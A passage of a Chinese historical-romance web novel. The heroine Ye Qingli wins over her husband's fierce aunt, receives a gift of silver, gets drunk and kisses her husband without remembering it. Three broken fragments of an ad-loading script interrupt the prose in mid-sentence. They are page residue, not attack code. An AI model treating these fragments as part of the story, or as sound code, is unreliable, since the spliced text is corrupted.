这个抛弃妻女的凤凰男,终于吃到苦头了! 只是叶青漓没有料到自己也会有被麻烦找上门的一天。 何夫人是顾承宴的舅母,她嫁进纪家时,顾承宴的母亲年纪还小,可以说夫妻二人是看着顾承宴母亲长大的。如今斯人已逝,两人便将这份疼爱转移到顾承宴身上。纪家长常年在外,对京城的事情多有疏漏。何夫人毁了叶修恺的升职之路后,又在府内详尽调查了这些年顾承宴的遭遇,这才带着一身怒意登门拜访。 “小姐,方才国公夫人身边的丫鬟来说,大公子的舅母来了,请小姐前去迎客。” “迎客?” 叶青漓放下账本,嘴角勾起一抹玩味的微笑。 赵氏不是叫自己去迎客,是让自己去分担怒火的吧! 毕竟何夫人战斗力这么强,短短两天时间就让叶修恺丢了礼部尚书这个职位,还当朝被皇上斥骂,不仅里子没了,面子也没了。 这些还不算什么,叶青漓自打从泾阳候府回来后便一直关注着叶府的动静,知道陆怡珊为了帮叶修恺凑齐那赔偿给纪家的一万两银子,把叶蕙珠叫回了叶家,似乎是从叶蕙珠那里要了些银子,毕竟叶蕙珠离开的时候,脸色不太好看。 除此之外,陆怡珊还偷偷变卖了自己嫁妆里的两间铺子。 听见这个消息的时候,叶青漓才意识到叶修恺对这个帮他顺利走上仕途,为他生儿育女,一心替他分忧的陆国公独女,竟然并未交心?! 不然,陆怡珊怎么会不知道叶修恺随随便便就能拿出来五万两银子? 以及昨日叶修恺登门去纪家道歉,出来时衣服皱巴巴的,脸上好像还有道红印子,都叫叶青漓开心得整晚睡不着觉! 至于为什么顾承宴明明是顾家的人,圣上却让叶修恺给纪家道歉,自然是因为换亲一事是顾国公同意了的,严格来说他也应该和叶修恺受到同等惩罚。只不过纪家上奏的折子里只说了叶修恺,圣上自然多一事不如少一事! 然则,何夫人会在朝堂上给顾国公留面子,私下里,却不一定了。 叶青漓想到赵氏提起何夫人时眼底划过的惊惧,心中生出几分期待来。 “采莲,收拾东西,咱们一起去前厅瞧瞧!” 叶青漓对何夫人的到来充满期待,套上衣服就出了门。 走过拐角时,不想正遇上了顾承宴。 “夫君,这么巧?” 蔚莲阁和覃竹园相隔不远,甚至只需跨过一道长廊,可是叶青漓在顾国公府住了这么久,除了新婚第二日碰见过顾承宴,其他时候,若不是自己主动去覃竹园找他,连他的人影都见不着。 如此绝色的男子,又是自己名义上的丈夫,即便吃不着,多看两眼也是好的! 叶青漓眼神大胆地落在顾承宴脸上,光明正大打量他。 顾承宴今日穿着一身青色大袖常服,袖口处以金线镶绣出竹叶图案,腰间一道墨绿色白玉腰带,上挂白玉玲珑腰配,长身玉立,气质逼人。 这才是顾国公府大公子该有的样子! “夫君这是要去哪?” 顾承宴对叶青漓大胆的欣赏已经习惯了,平静说道:“去拜见舅母。” 说来也奇怪,他自幼生得好看,无论走到哪都会因为这张脸引来他人的围观。 从前,他一直厌恶这种感觉,只因他从那些人的目光中看出贪婪和欲望,就像有一条蛇吐着舌头在你耳后舔舐,没有任何伤害,只叫人恶心! 叶青漓却不一样! 两人第一次在白云观相见时,她虽然也被自己的容貌吸引,却没有故作矜持地搭话,也没有笨拙地崴脚扑进自己怀里,而是大大方方夸自己长得好看。她的眼睛里干干净净的,没有想要得到自己的欲望,只是对美好事物的欣赏。 “原来如此,婆母也派人给我送消息,正要往前厅赶呢,夫君与我同行吧!” 叶青漓说罢,率先迈步往前。 跟在顾承宴身后的竹页瞧见了,下意识要开口叫停,他们家公子都还没动,她怎么能直接就走了? 然而顾承宴忽然偏过头看了他一眼,竹页到嘴边的话便被咽了回去。 叶青漓不知道身后主仆二人的小动作,带着采莲走在前面,一边走一边向顾承宴打听何夫人的性格。 “何夫人是夫君的舅母,夫君应该对她很了解吧?可能与我讲讲她的性格,我也好有个准备。” 身后的人安静了一瞬,似乎是在整理语言。 “舅母脾气暴躁了些,心肠却是好的,她是武将女儿,又常年跟随舅舅在外带兵打仗,性格颇为豪爽,有时说话不像京城的人这般讲究……总之,你别把舅母的话放在心上,一会由我来跟她说。” “那就多谢夫君了!” 经过陆怡珊和赵氏的表现,以及方才顾承宴的描述,再加上自己那日在泾阳候府看见的,叶青漓以为自己已经对何夫人的性子了解了七八分,却不料她还是小瞧了这位将军夫人。 叶青漓和顾承宴一路向前厅走来,还没走出长廊,就听见前厅处传来一个熟悉又泼辣的声音。 “……你说你不知道,你蒙谁呢?那叶家的女儿姓甚名谁你不知道,两家交好这么多年,逢年过节你没见过?顾弘州,我是真想不到,这么多年过去了,你还是这么没脑子,赵素欣说承宴同意你就信了?承宴是她儿子还是你儿子?她一个后娘怎么可能真对承宴好?!” “大嫂,话也不能这么说!自从青漓进了门,承宴在家待的时间比以前久多了,可见这个媳妇我们没有娶错!” “我呸!你做出这种亏心事你还有理了?!承宴愿意回家那是他的事,和那个冒牌货有什么关系?你背着我们换亲就罢了,还换个不知哪里找来的孤女,是生怕承宴抢了你儿子的家产啊!再说了,承宴为什么不愿意回家,还不是被你们两个脏心烂肺的夫妻逼的?” “何妙旋!你不要欺人太甚!”顾国公的声音忽然拔高,叶青漓站得老远都能感受到他的怒意,“承宴是我的孩子,这本就是我顾家的家事。看在以晴的面子上我让你三分,你可不要蹬鼻子上脸!” “嘿,顾弘州你长本事了啊?” “你干什么?你放手!放手!” “你还有脸在我面前提以晴?要不是你在她孕期和这个贱妇搞到一起,她怎么会在生下承宴不久就亡故?” 叶青漓错愕地看向顾承宴,她只知 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道顾承宴的母亲在他很小的时候就去世了,却从来不知道是这个原因。 如此说来,她和顾承宴倒有点同病相怜了。 感受到身旁怜惜的目光,顾承宴略有些别扭地避开眼。 “再说下去,恐怕场面更难收场,我们还是快进去吧。” 叶青漓点头,“好。” 两人走进前厅时,何夫人正一手揪着顾国公的耳朵,一手扯着赵氏的头发,两人一个人高马大,一个身形抵过一个半何夫人,却挣扎不能,狼狈不已。 何夫人手上用着力,嘴巴也没停,“你们两个,一个一把年纪还被美色所迷,头脑昏聩,连自己亲儿子的终身大事都不上心,一个私心用甚,目光短浅,为了一点家业把承宴往火坑里推,依我看你们是忘了当初答应我的话,既然如此,那我就让你们再想起来!”说着轻松地把两人的头往地上压,一只脚也抬了起来…… 叶青漓被这精彩的一幕看得目瞪口呆,反应过来后连忙低下头,避开赵氏和顾国公投来的求救目光。 “舅母,松手吧!” 最终还是顾承宴开口,何夫人才松开手。 “承宴,你来了?” 何夫人松开对两人的桎梏,转身冲顾承宴回以一个温柔的微笑,前后反差,要多大有多大! 她正要对顾承宴嘘寒问暖一番,余光看见了站在顾承宴前面的叶青漓,脸色瞬间沉下来。 “她怎么还在这?” 何夫人十分嫌弃地对叶青漓摇摇头,眼中厌恶十分明显,转向顾承宴后一脸体贴,“承宴,你放心,这次舅母回来就不走了,你把这个冒牌货休了,回头舅母再给你娶个好的!” “舅母,我已经在信中跟你说过了,我不会休妻。” “为什么?这桩婚事你一开始明明是不愿意的?”何夫人有些吃惊,看见叶青漓那张白净的小脸后,忽然想到什么,眉心紧皱,“是不是她跟你说了什么?承宴我不是跟你说过吗?女人的话不可信,你可千万不要学你那个昏了头的爹,见到一个长得好看的女人就丢了魂一样!殊不知,那些人,脸上漂亮,心里脏得厉害!” 昏了头丢了魂正在揉着耳朵的爹:“……” 长得好看心里脏得厉害正在摸着头发的女人:“……” 一句话把在场几乎所有人都内涵进去了,叶青漓实在佩服这位舅母说话的本事。 因为何夫人一直是在同顾承宴说话,一个正眼都没看叶青漓,所以叶青漓脸上便显出了几分憋不住的笑意。 何夫人对这份笑意却十分敏感,叶青漓嘴角稍微弯起,她便沉下脸,冲上前来打算好好教训教训这个没有自知之明的冒牌货! 怎料,何夫人刚一迈步,顾承宴也上前一步,刚好站在叶青漓身前,高大的身躯将叶青漓挡了个严严实实,生怕何夫人碰到她一根手指头似的。 一向冷静的脸上满是认真,“舅母,换亲一事青漓也是无辜的!还请不要为难她!” 顾承宴越是长大,便越少有情绪激动的时刻,此刻何夫人却从他的眼睛里看出几分明显的担忧。 她停下脚步,狐疑地看着这个几年未见的外甥,声音轻盈中带着一丝雀跃。 “宴哥儿是喜欢上她了?” 28. 心意 顾承宴怔愣一瞬,未曾想到何夫人会这么问,他长长的睫毛轻颤,掩盖住眸中真实的思绪,“这与此事无关。” “怎么没关系?”何夫人第一次见顾承宴对一个女子表现特殊,生怕自己错过了他的良缘,“你若喜欢她,这妻咱们就不休了,你若不喜欢,我当然不能让人白白占着这个位置!” 顾及顾承宴对叶青漓的看法,何夫人不知不觉改了称呼,叶青漓从破落户,冒牌货,终于变成一个——人。 顾承宴沉默了,他若自己说不喜欢,舅母定然立刻休了叶青漓,可若要自己说喜欢…… 正为难之际是叶青漓主动替他解了围。 叶青漓从顾承宴身后走出来,落落大方向何夫人行了一礼,“夫人,此事已经无关乎喜不喜欢,而是要保全顾家和纪家的颜面。” 现在的叶青漓与泾阳候府那日懦弱无能的女子完全不同,她举止大方,端庄得体,最最重要的是从她站出来的那刻起,她那个傻外甥的目光就不自觉跟着她移动。 何夫人眼神微闪,“哦?这是为何?” 没有和顾国公以及赵氏一样被骂的狗血淋头,叶青漓心底微松一口气,笑着说道:“换亲一事无论谁对谁错,传出去总是不好听的,夫人日前已经请纪将军在朝堂上求得对我义父的责罚,在圣上和其他人眼里,这便该是此事最后的结果了。” “若是今日,夫人再将我休了,虽然旁人嘴上不会说什么,心里总会觉得夫人得理不饶人。而顾家先答应换亲又出尔反尔的行为,在旁人看来也有失风度……” “我管别人怎么看顾家,这对黑心的夫妻就该被人唾弃!” 何夫人对顾国公似乎极为看不惯,叶青漓不过提了一嘴,她便像着了火的炮仗一样! 叶青漓看了眼脸色铁青却隐忍不敢反驳的顾国公,心中暗笑,面上却依旧温和,“夫人这样想也不错,可是夫君毕竟姓顾,旁人说起顾家的是非时,难免会带上他的名字。” 事关顾承宴的名声,何夫人脸上果然有了顾忌之色。 换亲一事经由自己的手,这两日闹得满城风雨,几乎京城所有的权贵都知晓此事,若是就此为止,过些日子也就平息了,可若是顾家再休妻,只怕又会掀起一场风浪…… 何夫人神情严肃,眼眸微垂,显然是在思考休妻一事该不该继续。 恰在此时,安静了许久的顾承宴再次开口,“舅母,此事到此为止吧!” 两人一个有情一个有理,何夫人终于放弃休妻的想法。 “罢了,既然你不愿意休妻,我也不强求。不过,你要记住,往后你那个黑心的爹若是再做出这等亏心事,立刻告诉舅母,我替你打他!” 叶青漓眼睁睁看着顾国公的脸色,随着何夫人的话由青转黑,更加觉得这位何夫人是个妙人! 不仅嘴皮子功夫厉害,手脚功夫也厉害,辈分高,权势大,一家子的皇上面前都得脸,实在是用来打脸的最佳人选! 她眼底的一抹笑意再次被何夫人捕捉到,何夫人心里也觉得奇怪,自己出身武将世家,自幼说话都比京城的小姐们粗一个嗓门,那些娇滴滴的小姑娘见到自己没有一个不怕的!从战场上下来,上了年纪后,周身的气势更是骇人。 瞧那顾弘州被自己吓得屁都不敢放一个,怎么这个小丫头却看着自己笑了半天? 自己有这么好笑吗? “对了。”何夫人忽然拿出一沓钞票,“这是叶家赔偿的一万两银票,放在我这也没什么用,你这些年过得清苦,还是给你吧!” 顾承宴忙侧身拒绝,“这是圣上要叶家赔偿纪家的,自然该舅母拿着。” “什么你家我家的,你娘是我妹妹,我们就是一家的,快拿着!” “舅母,这,我实在不能收!” 一万两银票在两人手中推来搡去,顾国公看着倒没觉得什么,顾承宴是他的儿子,给了他也是便宜顾府,自己没有任何不满。 赵氏看着那一万两银票,眼睛却瞬间红了! 自己手握国公府中馈,这么多年下来才积攒了几万两银票,这顾承宴随便娶了个假妻子就能得一万两,实在是不公平! 何夫人可不管两人在想什么,她心疼纪以晴,自然也心疼纪以晴的儿子,使了点力气要把银票塞进顾承宴手里。 奇怪的是,刚才面对顾国公夫妻二人时毫不费力的何夫人,此刻在顾承宴却半分不显优势。 二人推搡半天都没有结果,何夫人气得挑眉,顾承宴依旧用那副淡淡的表情看着她。 “舅母的好意我心领了,多谢舅母为我讨回公道,这银票舅母还是收回吧!” “也罢,既然你不收……那就让你家新妇收吧!” 看着手里忽然多出来的一万两银票,叶青漓彻底懵了! 这是怎么回事? 怎么给她了? 顾承宴也对何夫人这一出声东击西有些诧异。 正要说些什么,却听何夫人又道:“你可别说什么她不能收之类的话,方才是你说的不休妻,我这是承认了她外甥媳妇的身份才给她的,你若是不肯让她收,就表明你刚才说的话都是蒙我的,那这妻就还是要休!” 叶青漓想不明白,事情怎么瞬间就成了这个样子,这一万两银票和休不休妻有什么关系? 可何夫人厉着神色,大有顾承宴再敢拒绝,她就立刻着手帮他休妻之势,终是让顾承宴松了口。 他抬眸看着叶青漓,眼神耐人寻味,“既然舅母给了,你就收着吧!” “啊?” 你们确定? 这可是一万两银票,不是一百块钱! 在这个经济不发达的时代,一万两银票可以买好多东西呢!就这么说送就送了?! 和叶青漓同样想法的还有赵氏。 她看着两人推推搡搡,恨不得自己上前把银票抢过来,待看见银票到了叶青漓的手里,更是气得直咬牙。 叶青漓还没从忽然得到一万两银票的惊喜中回过神来,一只胳膊忽然被人用力搂住。 “那就这么定了!”何夫人的脸放大数倍出现在叶青漓眼中,“你收下银票,也算是我认了你这个外甥媳妇。我们家承宴是个闷葫芦,成天就爱看那些经书,也不知道陪陪我这个老年人。” “对了,你叫什么名字?” 听听!听听!有连名字都不知道的外甥媳妇吗? “叶青漓。” 何夫人点点头,“青漓,好名字!我刚回京城,还不太适应这边的气候,家里也没准备什么衣服,女儿家心思细腻,不如你陪我去逛街买衣服吧!顺便叫我熟悉熟悉!” 天可怜见,叶青漓是第一次见到这么自来熟的人。 最重要的是,她还是自己名义上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的夫君的长辈! 叶青漓悄悄用力想要抽回胳膊,却发现不仅挣不脱,挽着自己胳膊的那只手还更加用力了! 轻微疼痛下她只能回以讪笑,“呵呵,舅母有需要,青漓不敢不从。” “那就别浪费时间,我们走吧!” 何夫人说罢,拉着叶青漓便要离开前厅,顾承宴接收到叶青漓求救的目光,张口想要阻止。 何夫人却像后脑勺长了眼睛一样,头也不回开口。 “你若再拦着我,我可真要休妻了!” 顾承宴哑了声音,一个愣神的功夫,何夫人已经带着叶青漓消失于视野中。 “走了?” “真的走了?” “太好了,太好了!” 顾承宴正思考着何夫人此为何意,耳后传来两个人小声蛐蛐的声音。 转过头来便看见,顾国公和赵氏互相搀扶着,各自拍着胸脯平复情绪,二人脸上满是庆幸和后怕。 注意到顾承宴的目光后,顾国公忙甩开赵氏的手,双手背于身后,挺直腰杆,仰着头。 顾承宴实在不愿意看他掩耳盗铃的丑态,眼神晦暗一瞬,“若无它事,我先告退了。” 顾国公背着手,轻抚自己的胡须,故作从容道: “嗯,退下吧!” 顾承宴离开后,立刻派人去跟踪叶青漓两人的踪迹,一个时辰后,竹页送来消息。 “舅夫人说只是带大少奶奶去买些东西,不会把她给吃了,三天之后一定把人全须全尾地送回来,请公子不必忧心。” “三天?” 顾承宴声音微沉,面色隐有不悦。 竹页咽了咽口水,“舅夫人是这么说的……” 舅母虽然脾气暴躁,却从来不轻易对人动手脚,叶青漓性格通透,人又聪明机灵,应该不会受欺负。 可是…… 顾承宴未再开口,食指在桌上有规律地轻点,室内幽静,敲击声沉闷有力,每一下都敲在竹页的心上。 他知道大公子的心乱了才会这般,可是这一次大公子的心是为谁而乱的? 是舅夫人? 还是,叶青漓?! 三天后,一个大雪纷飞的下午,纪家的马车终于出现在顾国公府门前。 顾承宴收到消息出来迎人,看见的却是叶青漓摇摇晃晃,采莲红着脸把人拉住的场景。 “这是怎么了?” 顾承宴快步上前,想要查看叶青漓的情况,舅母向来出手没有轻重,该不会……? 这个想法在顾承宴闻到那股浓郁的酒味后,瞬间消失。 “你们喝酒了?” 采莲红着脸,眼神也有些迷糊,听见顾承宴问话,忙要回答,“回,嗝,大公子,我们家姑娘本来不想喝的,是舅夫人逼着她喝,她还给我倒了一杯,那酒……嗝,好香……!” 采莲话还没说完,两眼一闭,彻底醉倒。 顾承宴把竹页叫来,一人扶着一个进了府。 喝醉酒的叶青漓丝毫没有平日里的稳重,顾承宴忙活好半天才把人带到蔚莲阁,让她坐下,正要去倒杯热茶让她醒醒酒,忽听身后传来一声巨响,他心头一跳连忙转身,就看见叶青漓被桌子绊住了腿正往下倒。 电光火石之间,只听一声闷哼,顾承宴已经被叶青漓压在地上。 “唔!” 29. 醉酒 “好疼!” 叶青漓觉得自己好像撞在一堵墙上,疼得她鼻头发酸,眼泪控制不住在眼眶里打转,昏沉的酒意去了一半。 她摸着鼻子从顾承宴爬起,撑起身子看着被自己压在地上不得动弹,努力偏着脸,收起手的顾承宴,歪着脑袋笑了。 “咦,你这是怎么了?” “酒醒了?” 叶青漓双目依旧迷蒙,她环顾四周,确认自己回到蔚莲阁,眼中疑惑更甚,“我怎么在这?” 她记得自己应该在同何夫人一起喝酒来着。 何夫人还嫌弃自己酒量差,哼,自己酒量再差还不是把她灌倒了! 叶青漓想到何夫人醉酒后的样子,眼底划过一抹狡黠的笑意,唇角弯弯,像只偷了腥的猫一样。 殊不知,她这副样子在顾承宴眼里,与她自己看何夫人无异。 “你能先起来吗?” “……哦。” 叶青漓看了一眼被自己压在身下的顾承宴,反应了两秒钟才点头,动身想要站起来,怎料酒后身体不受大脑控制,她越是想起来,手脚就越是使不上力,挣扎半天险些又摔在顾承宴身上。 “公子,醒酒汤来了……呃……” 竹页将采莲安顿好后,立刻去厨房弄了两碗醒酒汤,刚走到门口,就看见惊悚的一幕: 他们家如花似玉的公子不知为何被推倒在地上,一个醉鬼正骑在公子腰间,一脸色眯眯地看着公子,两只手伸向公子胸前衣襟,似乎要对公子做什么不轨之事? 竹页忙放下醒酒汤,“公子,我来救你!” “别过来!” “可是……” “出去!” 竹页不敢违抗顾承宴的命令,盯着叶青漓猛瞧了好几眼,确认她喝得醉醺醺的什么都做不了,才放心离开。 顾承宴喝退竹页,感受着在自己身上胡乱顾涌的醉鬼,忍不住黑了脸。 在叶青漓的手第三次无意识摸到他腰间时,顾承宴终于不再忍耐,抬手困住叶青漓的双手,一个用力从地上坐起,两人之间的距离瞬间拉进,叶青漓看见一张俊俏的脸缓缓向自己凑近,近得她能听到对方的呼吸。 “咦?神仙?你跟我夫君长得好像!不过你没有我夫君长得好看,他从来不会皱眉头的!” 顾承宴眸底划过一丝无奈,清醒的叶青漓已经让他难以捉摸,没想到喝醉之后的她更加跳脱。 顾承宴没有停顿,再次用力,拉着叶青漓站起身,把人扶到椅子上坐下后,端起竹页准备好的醒酒汤喂她喝下。 幸而叶青漓虽然喝醉了,在这方面倒是乖觉,一碗醒酒汤很快喝尽。 喝下醒酒汤后,叶青漓脑子一会清醒一会迷糊,看着顾承宴的脸也从两个影子变成一个半。 “我怎么回来的?” “是舅母派人将你送回来的。” “哦。” “不对,我的采莲呢?!” 顾承宴伸手将跳起来的人按下,语气温和,“她也喝醉了,现在正在休息。” “哦。” 叶青漓安静了片刻,视线一直没有离开顾承宴的脸,盯着他半晌忽而痴痴地笑起来。 “顾承宴,你知不知道你真的,真的……” 顾承宴看着她,语气里多了些自己都没察觉的紧张,“真的什么?” “真的有个好舅母!”叶青漓睁大眼睛,眸子里亮晶晶的,全是对何夫人的崇拜!“你知不知道何夫人竟然还在边境亲手斩杀过流寇?就像这样,咻咻咻,唰唰唰,手起刀落,那些扰乱边境的流寇就人头落地了,嗝……可帅了!” 叶青漓一边说着,一边要给顾承宴演示,醒酒汤的效力渐渐起来,她身子更加虚浮,脚下站都站不稳,还是顾承宴及时扶住她,才没让她再次摔倒。 听见叶青漓对何夫人的赞美,顾承宴神情依旧平静,眼底却不知不觉也染上一层笑意。 “我知道。舅母是武将家的女儿,年轻时便精通骑射,有时候连我舅舅都打不过。” “嗯!!!”叶青漓被他扶在怀里,重重用力点头,“何夫人特别厉害,不光能上阵杀敌,喝酒也厉害,不过,嘿嘿,还是没有喝过我!” 叶青漓说罢打了一个酒嗝,生动形象地向顾承宴展示了自己的好酒量。 喝醉的人是不能反驳的,顾承宴幼时就从舅舅舅母身上体会到这个道理,如今用在叶青漓身上也是一样。 “嗯,你酒量最好!” “是吧!我就说没人喝得过我!这次是我赢了……”叶青漓扬起小脸,眯起眼睛,一脸得意。 与此同时,纪将军府。 “我还没输,喝,接着喝!我还没倒!” 纪将军练兵归来,看着喝得酒气熏天的妻子,瞬间觉得一个头两个大。他先褪下一身甲胄,熟练地避开何夫人手舞足蹈的动作将人抱到床边,将她脱得一干二净后为她换上干净的寝衣,才拿起府中仆人一早准备好的醒酒汤,一口一口给何夫人喂了下去。 然而何夫人却没有叶青漓那么乖巧,纪将军一勺汤喂下,手便被何夫人按住。 “以晖,咱们家承宴娶了个好姑娘啊!不休妻,不能休妻!” 这话听得稀奇,纪将军只知道妻子自从参加了泾阳候府的满月宴后,回来便将叶家和顾家骂了一宿,那个被用来换亲的义女也连带被她唾弃。之后还要求自己在朝堂上死命地参叶修恺,收了赔偿就打算休妻,怎么现在态度大变? 纪将军伸手擦掉何夫人嘴角的汤渍,“为什么不能休?” “青漓是个好孩子,一点都不像京城里那些矫揉造作的闺中小姐,我跟她说起我在边关杀流寇的事,她一点都不怕,还直夸我干得漂亮!把我夸得天上有,地下无的!”何夫人的脸颊因为喝醉染上一层红晕,提起叶青漓,又多了几分欢喜。 纪将军插空喂了口汤,“就因为这个?” “你怎么回事?”何夫人嗔他一眼,“我说的是在马家坡杀流寇的那一次,她听完没哭反笑,女孩子能有这个胆量已经是数一数二的了!” 马家坡…… 纪将军想起来了,那一次他被人围困,粮草即将用尽。妙旋带人运送粮草的路上被流寇发现,那些人刚屠尽一个村子,见妙旋一个女子打头阵,不仅不惧还起了歹心。时间紧急,那些人又犯了死罪,妙旋下手就有些没有轻重。后来大军得胜,自己带人回城时特意绕去看了一眼,那些人的死状尤为凄惨。 一个闺阁女儿听见这些事不仅不怕,还能真心实意夸赞,的确值得另眼相看。 纪将军握着勺子的手再次被何夫人按下,“而且这孩子说话办事都周到,叶家那一万两银票承宴不肯收,我就放到了她手里,这孩子一开始说不敢收,后来收下了,却把那银票拿来给我们买了冬衣和礼物,除了我的,还有你和几个孩子的,一人好几套呢!” “几件衣服就把你打发了?” “那可不,我们家青 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 漓眼光好,穿上她挑的衣服我都年轻好几岁呢!” 纪将军看着何夫人不再稚嫩的脸庞,目光柔和几分,点了点头想喂她最后一口,右手再次被按住。 何夫人笑眯眯地看着他,“还有一点,她是个明白人,做事明白,做人也明白。我与她说了顾弘州那个王八羔子做的脏事,她立刻和我一起骂了起来,还说,说什么这叫婚内出轨,这样的男人就该被阉掉!哈哈哈哈哈哈哈!深得我心!” “啪嗒!” 纪将军手里的勺子忽然掉在地上,他面不改色捡起来,把醒酒汤放到一边,“她真是这样说的?顾国公可是她的长辈,在你面前,她敢如此放肆?” 何夫人伸手用力揉了一把纪将军饱经风霜的脸,“你怎么回事,人老了,脑子也不转了?我当然是把她灌醉听她说的!小姑娘小嘴叭叭说得可有趣了,等哪天她来咱们家,我让她再说给你听!” 纪将军满头黑线,“不必了。” 等那姑娘醒过来,还不知道会有多后悔呢! 叶青漓这会还不知道自己要后悔的事,她在顾承宴面前炫耀一番自己的酒量后,嘴里一直喃喃说个不停,“渣男……阉……掉……嗝……” 顾承宴听不清,也不打算理会醉鬼的呢喃,直接将人带到床上,男人仅为她脱去外面的大衣和鞋子,便用一床被子将人连头到脚包成一个粽子。 “好了,你好好休息。” “等等!” 顾承宴刚要离开,床上本该陷入沉睡的人忽然醒过来,费力从厚厚的棉被里钻出一只手,拽住了顾承宴的衣袖。 “我还有个秘密要跟你说!” “有什么事等你明天醒了再说吧。” “不行,就要现在说!” 叶青漓十分固执,扯着袖子的手越发用力,顾承宴拗不过她,只好坐回床边。 “说吧。” “你坐近一点,这是我们两个人的秘密,不能让第三个人听见哦!” 叶青漓一脸认真,像小孩一样天真的语气,令顾承宴心中发笑。 他起身又坐近一些,“现在可以说了。” 叶青漓看着近在眼前的顾承宴,嘴巴微微嘟起,似乎还是不满足,不过这次她没再让顾承宴动身,而是自己坐起来,探身凑到顾承宴耳边。 温热的气息落在耳鬓,顾承宴下意识想要退开,可叶青漓拽着衣袖的手并未松开,察觉到他的退避,叶青漓不仅没松手,反而伸出另一只手抱住顾承宴的胳膊,把他拉到跟前。 叶青漓的卧房很大,远比他在白云观的房间大三倍不止,可此时此刻,顾承宴却觉得房内逼仄,让人呼吸不畅。 心底重复着喝醉酒的人是不能反驳的,他深吸一口气,“说吧。” “我告诉你,你不能告诉别人哦!” “嗯。” “这个秘密就是,就是……啵!” 颊边传来温热柔软的触感,紧接着便是一声清脆巨响。 顾承宴意识到叶青漓做了什么,蓦然石化在原地,心底有什么东西碎掉了! 做了坏事的女人心满意足偷笑起来,“亲到了!现在我要睡觉了,晚安神仙!” 说罢,松开抱着顾承宴胳膊的手,躺回床上,拉过被子哼哧哼哧找了个舒服的位置,合上眼睛睡着了。 轻微的鼾声响起时,顾承宴才终于有了动作,他扭头看向已经陷入沉睡的叶青漓,眸底神色复杂。 “晚安。” 30. 酒醒 翌日,鹅毛大雪如柳絮般在空中洋洋洒洒飘落,天地间仿佛被一片冰天冻地的白所笼罩。红泥制成的火炉烧得正旺,将茶壶里的水烧开,蒸腾的热气袅袅升起。 叶青漓醉酒醒来,觉得脑袋酸酸涨涨的,不知为何,就连鼻子也有点疼。她坐在床上揉了会,慵懒地打了个哈欠。 “采莲,采莲我想喝水。” 过了一会,一个眼生的丫鬟走进来,“大少奶奶,采莲姐姐昨日喝醉了,现下还没醒呢,让奴婢来服侍你吧。” 经她提醒,叶青漓才想起来自己被何夫人拉着在京城逛了三日,两人从互不相识到兴趣相投,最后在酒楼里拼起酒量。采莲那丫头倒霉,好心劝自己少喝些,被何夫人拉着也灌了一杯。 叶青漓无奈一笑,“这丫头,酒量这么浅。” 叶青漓翻身下床,正要换身衣服,忽然发现自己穿得有些单薄。 “采莲喝醉了,那我身上的衣服是谁脱的?” “奴婢不知道。” “不知道?” “昨日大少奶奶回府时,奴婢们并未得到消息,是大公子把您抱回来的,想来衣服也是大公子脱的。” “什么?” 叶青漓脑海中迅速闪过几个陌生的画面,都是顾承宴黑着脸的样子。 她艰难地咽了口唾沫,“大公子什么时候走的?” 丫鬟想了想,“大公子把大少奶奶送到蔚莲阁没多久就走了,待了不到半个时辰吧。” 半个时辰?那也够自己做好多事情了!思及刚才闪现的那几个片段,叶青漓忙叫不好,抬脚就往覃竹园方向走。 “哎,大少奶奶,今日天冷,多穿些衣裳!” 叶青漓走过长廊来到覃竹园,竹页依旧守在顾承宴书房门口,见叶青漓来了,瞬间回忆起昨日自己看见的那一幕,眼角控制不住抽搐一下。 “见过大少奶奶。” “夫君可在里面。” “在的。” “那就好。” 叶青漓站在门边做了会儿思想准备,这才深吸一口气,扬起一抹微笑推开书房大门。 寒意随着她的动作飘进室内,与暖气交融,瞬间化作一股氤氲的雾气。叶青漓隔着这股雾气看着顾承宴,他坐在桌前正写着什么,俊美无俦的脸上满是认真。 叶青漓清了清嗓子,用甜美动人的声音叫了一声,“夫君。” 听见动静,顾承宴略一抬眼,手上动作未停,“醒了?” “嗯。” 这句之后,两人都未再开口说话。 顾承宴安静写着东西,室内静悄悄的,只有笔尖划过白纸时摩擦的声音。 叶青漓站在原地,一向八面玲珑的嘴巴闭得紧紧的。 她鲜少有这么窘迫的时候,昨日喝得太多,自己具体做过什么已经记不清了,唯一记得的是顾承宴几张尴尬的黑脸。想来自己醉酒后行为应当十分冒犯,顾承宴这般矜持守礼,不会被自己吓坏了吧? 叶青漓试探着问道:“我昨日喝得太多,许多事情记得不清了,听府中下人说是夫君带我回蔚莲阁的,我……没有做什么出格的事吧?” 顾承宴动作微顿,“你不记得了?” “啊,我应该记得什么?” 叶青漓尴尬地看着顾承宴,脑海中不住回想昨日的情景,可偏偏什么都想不起来。 顾承宴见她一脸无辜,似是真不记得了,眸底暗色一闪而过。 “没什么,你昨日就是闹腾了点,我喂你喝醒酒汤你总是推开,其他的,没了。” “哦,原来是这样!” 听见顾承宴亲口确认,叶青漓大大松了一口气! 黑着脸喂一个醉鬼喝醒酒汤,正常正常! 叶青漓不想在顾承宴面前留下一个酒品差的形象,忙解释道:“其实我酒量一直很好,这次是因为和舅母在一起太开心才多喝了几杯,以后不会这样了。昨日辛苦你了!” “没什么。”顾承宴语气淡淡的,似乎真的不介意叶青漓昨日的行为,“舅母是爱酒之人,只是她身份地位摆在那,少有人能和她痛快畅饮,现在有了你,以后她在京城也不会寂寞了。” “也是哦!” 叶青漓喝醉之前的记忆都一清二楚,自然记得何夫人在边境的英雄事迹,还有她豪爽的性格,若不是两人身份实在不对等,叶青漓前两天都想直接和她义结金兰了! 确认自己昨日没太丢人,叶青漓也不再打扰顾承宴,很快退出书房。只是经过竹页的时候,看见他的嘴角也抽搐了一下。 叶青漓忍不住了。 她回身在竹页面前停下脚步,“竹页,我今日瞧见你脸上一直抽抽,是一直守在外面冻到了,还是生了什么病?有时间你自己找个大夫去瞧瞧吧!” 叶青漓说这话全完是出于一片好心,岂料她刚说完竹页嘴角抽动得更加厉害了。 “你怎么了?” “没,没什么,奴才这是多年的老毛病了。” 竹页将头压得很低,叶青漓只能看见他的头顶,听着他假的不能再假的谎话,一个念头在叶青漓心里一闪而过。 “我,我昨日喝得有点多,是不是对你做了什么……” “不是我!” 叶青漓话还没说完,就被竹页迅速打断。 “不是你,那就是……夫君?” 